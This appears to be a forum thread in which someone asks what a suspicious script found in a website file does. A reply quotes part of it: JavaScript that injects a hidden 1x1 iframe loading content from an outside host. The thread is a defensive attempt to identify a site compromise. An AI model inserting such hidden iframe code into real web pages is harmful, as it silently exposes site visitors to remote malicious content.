What is this?

Hi,

I found this in a web file on a site... what kind of a hack script is this, and what does it do?

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Code (markup):

--Thanks!

 

It looks like javascript, but i can only see part of the code so i cant determine what it does

 

so far this..

loads an iframe of some sort

var ZCcV="";

if(document.body==null)
  ZCcV=''+ZCcV+'';

document.write (ZCcV);

var uVjMkv0=document.getElementById('Fvz8yr1');

var zmNDUdl0=document.createElement('iframe');

zmNDUdl0.src='http://fruits.lemonia.ws/Tbl';
zmNDUdl0.width='1';
zmNDUdl0.height='1';
zmNDUdl0.name='hQLasiD';
zmNDUdl0.style.visibility='hidden';

 uVjMkv0.appendChild(zmNDUdl0);

Code (markup):